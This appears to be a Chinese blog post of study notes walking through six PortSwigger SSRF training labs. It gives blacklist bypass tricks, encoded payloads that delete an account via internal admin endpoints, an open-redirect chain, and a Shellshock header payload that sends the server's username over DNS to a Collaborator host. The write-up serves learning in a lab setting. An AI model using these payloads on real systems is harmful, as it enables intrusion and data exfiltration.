SSRF(一)：PortSwigger靶场笔记_企业安全

写在前面

该文章是关于作者在portswigger的ssrf靶场训练的记录和学习笔记使用的工具为burpsuite pro 有问题请留言或联系邮箱1586937085@qq.com

漏洞简介

ssrf全称server-side request forgery（服务端请求伪造），这种漏洞允许攻击者操纵服务端向非预期目标发起请求 ssrf根据有无回显可分为普通ssrf和blindssrf 对使用黑名单机制防护ssrf可以使用以下方法绕过（以127.0.0.1，localhost举例

对ip地址表示方式进行转化
- 十进制：2130706433
- 八进制：017700000001
- 缩写：127.1
注册自己的域名，解析为127.0.0.1，也可以直接使用spoofed.burpcollaborator.net
对请求url进行多重url编码

labs

lab1

lab地址：basic ssrf against the local server 该lab关注的情景是部署网站的本地机器，即localhost 通过该lab的条件是访问http://localhost/admin，删除carlos的账户进入lab先尝试所有功能，然后观察burp suite的http history，发现一个可能存在的ssrf 使用http://localhost/admin发送请求，发现返回了admin页面，但是在浏览器中进行删除不成功，显示必须要有admin权限才能操作再次观察响应，发现删除功能的api端点构造删除请求，成功执行，通过

lab2

lab地址：basic ssrf against another back-end system 该lab关注的情景是部署网站的局域网内的其他机器通过该lab的条件是探测局域网192.168.0.0/24网段中的服务，删除carlos账户进入lab，按上述提到的流程操作，发现和lab1类似的漏洞点构造http://192.168.0.1/admin发送请求，报错参数不存在按照lab描述，将请求发送给intruder模块探测网段，发现192.168.0.160返回包的状态码是200 按照lab1的思路，构造url，通过

lab3

lab地址：blind ssrf with out-of-band detection 该lab关注的情景是服务端运行分析工具读取了请求头的referrer字段，并且不会有结果回显到用户界面通过该lab的条件是在服务端发起一起dns查询先去collaborator生成一个随机的子域名将请求商品详情的的请求发送到repeater，修改referrer字段去collaborator页面观察是否有请求收到请求，通过

lab4

lab地址：ssrf with blacklist-based input filter 该lab关注的情景是web应用基于黑名单机制对输入进行过滤，需要绕过过滤实施攻击通过lab的条件是访问http://localhost/admin，删除carlos的账户基于前两个lab的经验，我直接构造了以下请求，发现被阻止了 http%3a%2f%2f127.0.01%2fadmin%2fdelete%3fusername%3dcarlos 修改payload，将127.0.0.1修改为127.1，再次尝试，还是不成功再次修改payload，对url的path部分（即admin）进行一次url编码，还是不成功 http%3a%2f%2f127.1%2f%61dmin%2fdelete%3fusername%3dcarlos 再次修改payload，对url的path部分进行二次url编码，成功删除carlos账户，通过

lab5

lab地址：ssrf with filter bypass via open redirection vulnerability 该lab关注的情景是web应用对url的host部分的校验非常完善，无法直接发起恶意的服务端请求，但是该域名下其他功能存在开放重定向漏洞，这时候可以通过设置开放重定向的url来实施ssrf 通过该lab的条件是访问http://192.168.0.12:8080/admin，删除carlos账户进入lab后尝试所有的功能，发现lab1，lab2和lab4的攻击方式都不成功，发现该lab有一新功能请求如下 get /product/nextproduct?currentproductid=7&path= path是一个实施重定向的参数，并且存在开放重定向漏洞仿照lab1的方式再次构造payload，构造stockapi参数如下stockapi=%2fproduct%2fnextproduct%3fcurrentproductid%3d7%26path%3dhttp%3a%2f%2f192.168.0.12%3a8080%2fadmin%2fdelete%3fusername%3dcarlos 发送请求，删除账户成功，通过

lab6

lab地址：blind ssrf with shellshock exploitation 该lab关注的情景是blind ssrf 通过条件是探测网段192.168.0.0/24的8080端口，使用shellshock漏洞获取到运行服务的os的当前用户名为了更好的探测网站是否存在ssrf漏洞，使用collaborator everywhere插件将lab的域名添加到target->scope中然后浏览lab提供的页面，尝试各种操作，再次查看target->site map页面，发现提示收到了collaborator pingback，访问商品详情页的请求在user-agent和referrer字段可能有ssrf漏洞将下列的请求发送到intruder中 get /product?productid=2 http/2 设置user-agent为：() { :; }; /usr/bin/nslookup $(whoami).burp-collaborator-subdomain 设置referrer为：http://192.168.0.1:8080 开始攻击在collaborator客户端，收到两个dns请求，请求的域名包含了需要的用户名，提交通过